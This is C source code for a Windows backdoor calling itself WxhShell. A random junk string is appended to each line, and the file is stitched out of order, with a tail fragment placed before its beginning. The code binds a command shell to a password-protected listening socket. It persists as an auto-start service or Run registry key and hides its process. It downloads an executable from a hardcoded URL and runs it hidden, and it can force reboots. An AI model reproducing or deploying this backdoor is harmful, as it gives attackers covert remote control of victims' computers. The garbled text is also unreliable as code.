    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QVb{+`.7  
    if(Boot(SHUTDOWN)) BL0xSNE**  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kT^`j^Jr  
    else { qP/McH?  
    closesocket(wsh); H_iQR9Ak7  
    ExitThread(0); ?U:c\TA,m  
    } @q|c|X:I  
    break; gsIp y  
    } Rs'mk6+  
  // 获取shell vN6)Szim  
  case 's': { (^ J2(  
    CmdShell(wsh); 7*+tG7I @  
    closesocket(wsh); T[ zEAj  
    ExitThread(0); \  6Y%z  
    break; 6m9\0)R  
  } DI :  
  // 退出 kCZ'p  
  case 'x': { Fe2iG-ec  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8P%Jky&(  
    CloseIt(wsh); EBmkKiI;  
    break;  L$]Y$yv  
    } w~AO;X*Ke"  
  // 离开 {FN CC*=  
  case 'q': { j3o?B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -9 |)O:  
    closesocket(wsh); 4?`*# DPl  
    WSACleanup(); :K*/  
    exit(1); EP{ji"/7[  
    break; AB.ZmR9|  
        } ) Cm95,Y  
  } C7l4X8\w  
  } 7U)w\A;~  
@Bsvk9}  
  // 提示信息 RHI?_gf&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y<ZT~e  
} 4g+o/+6!4  
  } ad<ZdO*h  
Xq$9H@.  
  return; \NL*$SnxP  
} q] '2'"k  
!imjfkG  
// shell模块句柄 ?KFj=Yo  
int CmdShell(SOCKET sock) 9+'*  
{ ATD4 %|a9h  
STARTUPINFO si; opReAU'I  
ZeroMemory(&si,sizeof(si)); g|{Ru  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `! )^g/>0i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NE?tfj  
PROCESS_INFORMATION ProcessInfo; fc^d3wH0L  
char cmdline[]="cmd"; ;C5 J ^xHI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y#J8Yv8  
  return 0; ?[8s`caK.  
} kznm$2 b  
mN" g~o*  
// 自身启动模式 o|1_I?_  
int StartFromService(void) nsXyReWka  
{ n?NUnFA  
typedef struct P7 qzZ  
{ *5" )3\/  
  DWORD ExitStatus; j-/F *P  
  DWORD PebBaseAddress; YZc{\~d  
  DWORD AffinityMask; q:P44`Aq  
  DWORD BasePriority; LHusy;<E[  
  ULONG UniqueProcessId; AYoLpes  
  ULONG InheritedFromUniqueProcessId; f!}e*oX  
}   PROCESS_BASIC_INFORMATION; _lZWy$rm%  
o=Kd9I#  
PROCNTQSIP NtQueryInformationProcess; cx+%lco!  
pq*4yaTT'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9{R88f?;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (+.R8  
MgQb" qx  
  HANDLE             hProcess; pLpWc~#  
  PROCESS_BASIC_INFORMATION pbi; a_Z[@W  
~J1UzUxX2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K;~I ;G  
  if(NULL == hInst ) return 0; u [LsH  
,Y27uey{wa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); joJQ?lG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wGx*Xy1n<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X8   
$&FeR*$|g  
  if (!NtQueryInformationProcess) return 0; MMyJAGh ^G  
8'VcaU7Nh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h~.z[  
  if(!hProcess) return 0; PLQLGb4f_;  
@l&>C#K\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :cE~\B S&  
`j(-y`fo  
  CloseHandle(hProcess); uVLKR PY  
LVNJlRK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1y6{3AZm<  
if(hProcess==NULL) return 0; 5H/D~hr&  
3/RNStd<L!  
HMODULE hMod; ),U>AiF]  
char procName[255]; $w ,^q+  
unsigned long cbNeeded; j%Z%_{6Ds*  
S!.H _=z%p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +Am\jsq  
KOVR=``"/  
  CloseHandle(hProcess); R}0!F 2  
mI3 \n  
if(strstr(procName,"services")) return 1; // 以服务启动 f VpE&F  
q,2 +\i  
  return 0; // 注册表启动 eGlPi|  
} dW"=/UW  
3W"l}.&ZJ"  
// 主模块 6e At`L[K.  
int StartWxhshell(LPSTR lpCmdLine) :eW`El  
{ 76 RFu@k  
  SOCKET wsl; {*t0WE&1t  
BOOL val=TRUE; Huho|6ohH  
  int port=0; 629 #t`W\  
  struct sockaddr_in door; K|sx"u|?  
hBNA,e:  
  if(wscfg.ws_autoins) Install(); }:4b_-&Q5  
^n<o,K4\}  
port=atoi(lpCmdLine); T8-,t];i  
TCetd#;R  
if(port<=0) port=wscfg.ws_port; #'oGtFCd`  
H 5'Ke+4.e  
  WSADATA data; "DU1k6XC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; okQ<_1e{  
q;=!=aRg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Qh0+!SdG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NmZowh$M  
  door.sin_family = AF_INET; NVq3h\[X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %H8s_O  
  door.sin_port = htons(port); u%I |os]  
ynU20g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PuGc{kt  
closesocket(wsl); s(s hgI 3g  
return 1; ~)IiF.I b  
} +:#UU;W  
B0"55g*c  
  if(listen(wsl,2) == INVALID_SOCKET) { m}o4Vr;"  
closesocket(wsl); }\/ 3B_X6N  
return 1; oVja$;>  
} (|.rEaTA[1  
  Wxhshell(wsl); jP"l5  
  WSACleanup(); LV!<vakCK  
HMPb%'U~  
return 0; DNy 6Kw  
8AuOe7D9A  
} Q,< V)  
>`=<(8bu  
// 以NT服务方式启动 e)A-.SRiO$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RG V}c#  
{ < r7s,][&  
DWORD   status = 0; o-r00H|  
  DWORD   specificError = 0xfffffff; Z@ QJ5F1y  
ylwh_&>2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |++\"g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /O&{fo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,RIC _26  
  serviceStatus.dwWin32ExitCode     = 0; B"=w9w]  
  serviceStatus.dwServiceSpecificExitCode = 0; fH*1.0f]6  
  serviceStatus.dwCheckPoint       = 0; 9KGi%UIFvn  
  serviceStatus.dwWaitHint       = 0; 4g^Xe-  
]@9ZUtU,;N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0mi$_Ld+  
  if (hServiceStatusHandle==0) return; o2e gNTG  
b_rHt s  
status = GetLastError(); ;kb);iT  
  if (status!=NO_ERROR) :XaBCF*  
{ |h* rkLY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b[os0D95  
    serviceStatus.dwCheckPoint       = 0; R gTrj  
    serviceStatus.dwWaitHint       = 0; o%sx(g=q6  
    serviceStatus.dwWin32ExitCode     = status; XAw0Nn   
    serviceStatus.dwServiceSpecificExitCode = specificError; xmNs<mz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e]q(fPK  
    return; 8m"jd+  
  } '4]_~?&x  
=dDr:Y<@*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r0(*]K:.  
  serviceStatus.dwCheckPoint       = 0; ]o3K  
  serviceStatus.dwWaitHint       = 0; EaUO>S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #d;/Me  
} 8c^Hfjr0  
^< wn  
// 处理NT服务事件,比如:启动、停止 $BUm,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s{ dgUX  
{ K0C3s  
switch(fdwControl) UNJAfr P  
{ 1Zt>andBF  
case SERVICE_CONTROL_STOP: \^]*T'>b  
  serviceStatus.dwWin32ExitCode = 0; ?`T-A\A=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GW\66$|  
  serviceStatus.dwCheckPoint   = 0; J`xCd/G  
  serviceStatus.dwWaitHint     = 0; 35/K9l5  
  { `|WEzW~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p`/c&}  
  } L. DD  
  return; +\)a p  
case SERVICE_CONTROL_PAUSE: cT(=pMt8>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W\5PsGUsv  
  break; :jr`}Z%;y  
case SERVICE_CONTROL_CONTINUE: +Hk r\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5VjO:>  
  break; $~)YI/b  
case SERVICE_CONTROL_INTERROGATE: W@FSQ8b>$m  
  break; B<\HK:%{  
}; ^\C Fke=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gi #dSd1\&  
} I#PhzGC@  
$L"h|>b\o  
// 标准应用程序主函数 (C.<H6]=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #6*20w_u  
{ 7Xf52\7n  
pj#ls  
// 获取操作系统版本 Ge1b_?L_  
OsIsNt=GetOsVer(); EFn[[<&><t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bZWdd6  
|qz&d=>  
  // 从命令行安装 {@ Z=b 5/P  
  if(strpbrk(lpCmdLine,"iI")) Install(); J>8kJCh9g  
8e32NJ^k~  
  // 下载执行文件 X+kgx!u'y  
if(wscfg.ws_downexe) { 2Og<e|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,#U[)}im  
  WinExec(wscfg.ws_filenam,SW_HIDE); W^YaC (I  
} 8F9x2CM-[C  
$0XR<D  
if(!OsIsNt) { m^gxEPJK  
// 如果时win9x,隐藏进程并且设置为注册表启动 #7['M;_  
HideProc(); \>[k0<  
StartWxhshell(lpCmdLine); b} FhC"'i  
} M@+Pq/f:  
else mI'&!@WG  
  if(StartFromService()) .t7ME{  
  // 以服务方式启动 s w{e |  
  StartServiceCtrlDispatcher(DispatchTable); o[)*Y`xq<w  
else 3?e~J"WXC5  
  // 普通方式启动 c8LMvL  
  StartWxhshell(lpCmdLine); Vw]!Kb7tA  
eY[kUMo  
return 0; d9up! k  
} QJ+Ml  
1pAcaJzf  
\03ZE^H  
HZqk)sN  
=========================================== gY!?JZC-0  
Cy dV$!&mP  
+ w/B3 b  
b/?)_pg  
2N{^V?:  
foUB/&Ee  
" SHT`  
![9$ru  
#include <stdio.h> -&l%CR,U  
#include <string.h> {gh<SZsE  
#include <windows.h> ^?NLA&v<  
#include <winsock2.h> AuT:snCzR  
#include <winsvc.h> %{-r'Yi%  
#include <urlmon.h> 2"HG6"Rr  
5W0s9yD  
#pragma comment (lib, "Ws2_32.lib") 0n}v"61q  
#pragma comment (lib, "urlmon.lib") -Fq`#"  
U"=Lzo.0  
#define MAX_USER   100 // 最大客户端连接数 8u%,5GV>Xr  
#define BUF_SOCK   200 // sock buffer yLPP6_59$  
#define KEY_BUFF   255 // 输入 buffer l <p(zLR  
C1>zwU_zo  
#define REBOOT     0   // 重启 05:?5M4};  
#define SHUTDOWN   1   // 关机 @C%6Wo4l3  
ST2:&xH(  
#define DEF_PORT   5000 // 监听端口 OG9 '[o`8  
!yd ]~t 5Q  
#define REG_LEN     16   // 注册表键长度 (D:-p:q.  
#define SVC_LEN     80   // NT服务名长度 6j!idA!'  
w'E(9gV  
// 从dll定义API w{ ;Sp?Os  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rp+]f\] h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ..zX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Fqwr>e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5'(T*"  
HX)]@qL  
// wxhshell配置信息 IXG@$O?y/  
struct WSCFG { N0%q 66]1  
  int ws_port;         // 监听端口 ZZL@UO>:  
  char ws_passstr[REG_LEN]; // 口令 zf&:@P{  
  int ws_autoins;       // 安装标记, 1=yes 0=no sY4q$Fq  
  char ws_regname[REG_LEN]; // 注册表键名 CF 3V)3}  
  char ws_svcname[REG_LEN]; // 服务名 zU0SlRFu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H32o7]lT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r.lHlHl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wm}gnNwA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zl>dBc%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,Js-'vX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 % m"Qg<  
,,!P-kK$  
}; |]9L#  
w51l;2$des  
// default Wxhshell configuration N6v?Qzvi  
struct WSCFG wscfg={DEF_PORT, cg o  
    "xuhuanlingzhe", &>B"/z  
    1, z(>QGzyc  
    "Wxhshell", JEaTDV_  
    "Wxhshell", d14n>  
            "WxhShell Service", G$2@N6  
    "Wrsky Windows CmdShell Service", Oxa8ue?  
    "Please Input Your Password: ", .cHkh^EDY  
  1, %`QgG   
  "http://www.wrsky.com/wxhshell.exe", Q6wa-Y,  
  "Wxhshell.exe" 8d2\H*a9~  
    }; t0GJ$])  
f%i%QZP  
// 消息定义模块 8*x=Fm,Ok  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YYT#{>&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x NjQ"'i8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M>[ A  
char *msg_ws_ext="\n\rExit."; W+/_0GgQ3  
char *msg_ws_end="\n\rQuit."; -7]j[{?w  
char *msg_ws_boot="\n\rReboot..."; ]<C]`W2{  
char *msg_ws_poff="\n\rShutdown..."; JXMH7  
char *msg_ws_down="\n\rSave to "; gb|;]mk*"  
IxS%V31  
char *msg_ws_err="\n\rErr!"; iPCCTs  
char *msg_ws_ok="\n\rOK!"; ,wM4X'] HR  
&x[7?Y L  
char ExeFile[MAX_PATH]; 0#DEh|?  
int nUser = 0; Ix}6%2\  
HANDLE handles[MAX_USER]; /Q3\6DCl  
int OsIsNt; 0Sz[u\w  
[`oVMR  
SERVICE_STATUS       serviceStatus; \PUJD,9H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;kY~-Om  
pu+Q3NfR  
// 函数声明 G<Eb~]. 1'  
int Install(void); EwX{i}j_V  
int Uninstall(void); w]yVNB  
int DownloadFile(char *sURL, SOCKET wsh); amdgb,vh  
int Boot(int flag); } c k <R  
void HideProc(void); ruGeN  
int GetOsVer(void); M;,$ )>P  
int Wxhshell(SOCKET wsl); ]gg(Z!|iQ  
void TalkWithClient(void *cs); fggs ;Le  
int CmdShell(SOCKET sock); D[#V  
int StartFromService(void); Y)DX   
int StartWxhshell(LPSTR lpCmdLine); =u?aP}zc  
o.Rv<a5.L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6[4VbIBSI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #XA`n@2Uoo  
B ~N3k  
// 数据结构和表定义 Qj;{Z*l%+  
SERVICE_TABLE_ENTRY DispatchTable[] = {x.0Yh7  
{ nvT@ 'y+  
{wscfg.ws_svcname, NTServiceMain}, )t"-#$,@  
{NULL, NULL} IlB8~{p_  
}; y/c3x*l.xL  
<JH,B91  
// 自我安装 ?KOw~-u  
int Install(void) BhzDV  
{ 3,Yr%`/5'  
  char svExeFile[MAX_PATH]; Uu5(/vw]  
  HKEY key; eF22 ~P  
  strcpy(svExeFile,ExeFile); cl2_"O  
#}FUau$  
// 如果是win9x系统,修改注册表设为自启动 V(F9=r<X  
if(!OsIsNt) { _OTVQo Ap  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bskp&NV':  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .WqqP  
  RegCloseKey(key); Lr D@QBT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j}eb _K+I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DkEv1]6JI_  
  RegCloseKey(key); T1 $E][@Iv  
  return 0; p>;@]!YWQ  
    } G:":CX"O(  
  } 5EcVW|(  
} UGI<V!  
else { wCB*v<*  
v={{ $=/t  
// 如果是NT以上系统,安装为系统服务 ~}}<+JEEO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o~IAZU39  
if (schSCManager!=0) nYj rEy)Q  
{ e))L&s  
  SC_HANDLE schService = CreateService 3@Mh* \;\b  
  ( X!ruQem /  
  schSCManager, jRg gj`o  
  wscfg.ws_svcname, <[cpaZT,  
  wscfg.ws_svcdisp, #mw !_]  
  SERVICE_ALL_ACCESS, @m9pb+=v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q\?s<l63  
  SERVICE_AUTO_START, > 0MP[  
  SERVICE_ERROR_NORMAL, Z|uvrFa  
  svExeFile, ovTL'j!  
  NULL, p> `rTaeZg  
  NULL, Iz09O:ER  
  NULL, 1xW!j!A;  
  NULL, <.QaOLD  
  NULL  7;fC%Fq  
  ); eZa*WI=  
  if (schService!=0) #f2k*8"eAF  
  { j)mU`b_  
  CloseServiceHandle(schService); UxTLr-db^  
  CloseServiceHandle(schSCManager); F nA Kfh(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A _zCSRF,  
  strcat(svExeFile,wscfg.ws_svcname); 2!J#XzR0W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { II=`=H{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  7H  
  RegCloseKey(key); y9 {7+]  
  return 0; %Hbq3U30  
    } |l; Ot=C=  
  } WzN c=@[W  
  CloseServiceHandle(schSCManager); #T_!-;(Z  
} S)WxTE9  
} RW. qw4  
9efDM  
return 1; &-yRa45?  
} K {' atc  
6DHK&<=D8  
// 自我卸载 SN}K=)KF#  
int Uninstall(void) DWt|lO  
{ K6IT$$g  
  HKEY key; .[O{,r  
lPR=C0h}@  
if(!OsIsNt) { szsVk#p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E(r_mF7:  
  RegDeleteValue(key,wscfg.ws_regname); V#7,vas  
  RegCloseKey(key); ,=u;1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sm/a L^4  
  RegDeleteValue(key,wscfg.ws_regname); ?%  24M\  
  RegCloseKey(key); .*-8rOcc  
  return 0; 5E'/8xpbB  
  } D$}8GYq  
} L3, /7  
} c| ^I}  
else { SsZC g#i  
?Ij(B}D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lFBpNUnzU  
if (schSCManager!=0) 2?t@<M]  
{ ttsR`R1.k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lvke!~#  
  if (schService!=0) k<<x}=  
  { m^3x%ENZ  
  if(DeleteService(schService)!=0) { 3x+lf4"  
  CloseServiceHandle(schService); mAW.p=;  
  CloseServiceHandle(schSCManager); } {1IB  
  return 0; F/s n"2  
  } H0afu)$,  
  CloseServiceHandle(schService); PAYw:/(P  
  } O+}py{ st  
  CloseServiceHandle(schSCManager); N#T'}>ty  
} ^jMrM.GY  
} + `|A/w  
s:3[#&PQpN  
return 1; {cXr!N^K  
} &>JP.//spi  
'Lrn<  
// 从指定url下载文件 9eMle?pF  
int DownloadFile(char *sURL, SOCKET wsh) G"<#tif9K  
{ }nd>SK4  
  HRESULT hr; BDI|z/~&  
char seps[]= "/"; [H}> 2Q  
char *token; {<,%_pJR  
char *file; r].n=455[  
char myURL[MAX_PATH]; ~7PD/dre  
char myFILE[MAX_PATH]; ~Gu$E qQ  
6gV*G  
strcpy(myURL,sURL); kUd]8Ff!  
  token=strtok(myURL,seps); EQm{qc;  
  while(token!=NULL) &:  Q'X  
  { a^R?w|zCX  
    file=token; Bh3F4k2bg7  
  token=strtok(NULL,seps); 3`^@ymY  
  } Y9)j1~  
k*$WAOJEW  
GetCurrentDirectory(MAX_PATH,myFILE); iOk ;o=  
strcat(myFILE, "\\"); 8o~ NJ 6  
strcat(myFILE, file);  <mn[-  
  send(wsh,myFILE,strlen(myFILE),0); \d@5*q  
send(wsh,"...",3,0); BHY8G06  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VQ9A/DH/  
  if(hr==S_OK) FzInIif  
return 0; *fg2bz<~[B  
else 28!C#.(h  
return 1; 7:jLZ!mgi  
C"I jr=w  
} ok:uTeJI  
S1QMS  
// 系统电源模块 uM2@&)u  
int Boot(int flag) AF'<  
{ q1}!Okr"2  
  HANDLE hToken; 2%%\jlT_  
  TOKEN_PRIVILEGES tkp; /v 8"i^;}  
Q~N,QMr)k&  
  if(OsIsNt) { 981-[ga `Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |+nmOi,z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N"70P/  
    tkp.PrivilegeCount = 1; F 3|^b{'zO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4aXIRu%#7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &QHJ%c  
if(flag==REBOOT) { j, 0`k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MAek856  
  return 0; o"VKAP  
} d[a(u WEl  
else { J,Sa7jv[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )WqolB  
  return 0;  /qLO/Mim  
} $[|(&8+7  
  } ]m+%y+  
  else { n5}]C{s'  
if(flag==REBOOT) { *tXyd<_Hd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &6sF wK  
  return 0; *9'3 `^l  
} @:>"VP<(  
else { @]Cg5QW>T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hyb(.hlZh  
  return 0; 2K}49*  
} w!f2~j~  
} &;@L] o  
"jL>P )  
return 1; _Y; TS1u  
} tV)CDA&Z  
CF bNv9GZj  
// win9x进程隐藏模块 c -+NWC  
void HideProc(void) }A3/(  
{ =D1  
_p )NZ7yC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y'2|E+*V  
  if ( hKernel != NULL ) AB3_|Tza~&  
  { <%)vl P#@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L`1 ITz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `5Y*) q  
    FreeLibrary(hKernel); f?5>V   
  } s)-oCT$[  
TQ"XjbhU;X  
return; &n<YmW?"  
} 82LE9<4A  
noWF0+ %  
// 获取操作系统版本 S=qh7ML  
int GetOsVer(void) KF rsXf  
{ $)M3fZ$#  
  OSVERSIONINFO winfo; )iN;1>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f}-'67*Y  
  GetVersionEx(&winfo); qAjtvc2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SXL3>-Z E  
  return 1; {$frR "K  
  else 4"P9z}y=i  
  return 0; o 4F'z  
} MPB[~#:  
7b"fpB  
// 客户端句柄模块 | eBwcC#^  
int Wxhshell(SOCKET wsl) }_+XN"}C  
{ !*#9b  
  SOCKET wsh; ^'X I%fEf  
  struct sockaddr_in client; MLDzWZ~}ef  
  DWORD myID; =KPmZ,/w  
w"R<8e=  
  while(nUser<MAX_USER) u zZ|0  
{ U^PXpNQ'  
  int nSize=sizeof(client); 3%POTAw%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y|tHU'x  
  if(wsh==INVALID_SOCKET) return 1; `D+zX  
Olzw)WjG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'va[)~!  
if(handles[nUser]==0) f{9+,z   
  closesocket(wsh); #T)Gkc"{  
else Wb}-H-O  
  nUser++; L( 6b2{"  
  } !f~a3 {;j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R~g|w4a@sC  
!gX xM,R  
  return 0; \+o\wTW  
} tc~gn!"  
m212 gc0u  
// 关闭 socket vXKL<  
void CloseIt(SOCKET wsh) p(yv  
{ tD8fSV  
closesocket(wsh); /zIG5RK>  
nUser--; kz=ho~ @  
ExitThread(0); *V&M5  
} :2/L1A)O  
!9d7wPUFr  
// 客户端请求句柄 +g1>h ,K 3  
void TalkWithClient(void *cs) MdBmq/[O  
{ VzG|Xtco [  
//8W">u  
  SOCKET wsh=(SOCKET)cs; 7 A0?tG  
  char pwd[SVC_LEN]; jF6_yw  
  char cmd[KEY_BUFF]; h"[B zX  
char chr[1]; cK$yr)7  
int i,j; xkSXKR  
@gP*z6Z  
  while (nUser < MAX_USER) { alJ0gc2?  
kK5&?)3Y:  
if(wscfg.ws_passstr) { fN2Sio:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Iy)1(upM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,M.C]6YMr  
  //ZeroMemory(pwd,KEY_BUFF); ~ 5}t;  
      i=0; W|< c[S  
  while(i<SVC_LEN) { KM&P5}  
8^_:9&)i  
  // 设置超时 ILuQ.VhBVN  
  fd_set FdRead; (;fJXgj.  
  struct timeval TimeOut; Pe:)zt0  
  FD_ZERO(&FdRead); !8 @yi"n  
  FD_SET(wsh,&FdRead); P>_O :xD  
  TimeOut.tv_sec=8; 2Bt/co-~4  
  TimeOut.tv_usec=0; yi8vD~aA[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i#:To |\u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JC'3x9_<z  
SQ) BS/8A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;lmg0dtJ  
  pwd=chr[0]; m=}h7&5p  
  if(chr[0]==0xd || chr[0]==0xa) { hj];a,Br&  
  pwd=0; EZ!! V~  
  break; =1[_#Moc6  
  } Zfs-M)  
  i++; GgxPpS<ne  
    } Z=% j|xE_  
~~yng-3)1  
  // 如果是非法用户,关闭 socket s9C^Cy^su  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0H_Ai=G  
} qT?{}I  
W*LC3B^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t|@5 ,J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {t;o^pUF  
`n>/MY  
while(1) { 21!X[) r  
..yV=idI  
  ZeroMemory(cmd,KEY_BUFF); f`4=Bl&"{  
jI,[(Z>  
      // 自动支持客户端 telnet标准   %; &lVIU0  
  j=0; &S="]*Z  
  while(j<KEY_BUFF) { ;Tbo \Wp9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ]]p\1G  
  cmd[j]=chr[0]; *k(FbZ  
  if(chr[0]==0xa || chr[0]==0xd) { S$b)X"h  
  cmd[j]=0; Lv+{@)  
  break; +  }"+  
  } 2*snMA  
  j++; mc]+j,d  
    } H:~bWd'iz  
8cO?VH,nk  
  // 下载文件 1e\cJ{B  
  if(strstr(cmd,"http://")) { }8^qb5+!3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ]j0+4w  
  if(DownloadFile(cmd,wsh)) {^oohW -  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%,86A>  
  else 9swHa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F,vkk{Z>  
  } aH;AGbp  
  else { jA "}\^%3  
M XW1 :  
    switch(cmd[0]) { Kjbk zc1  
  Sk EI51]  
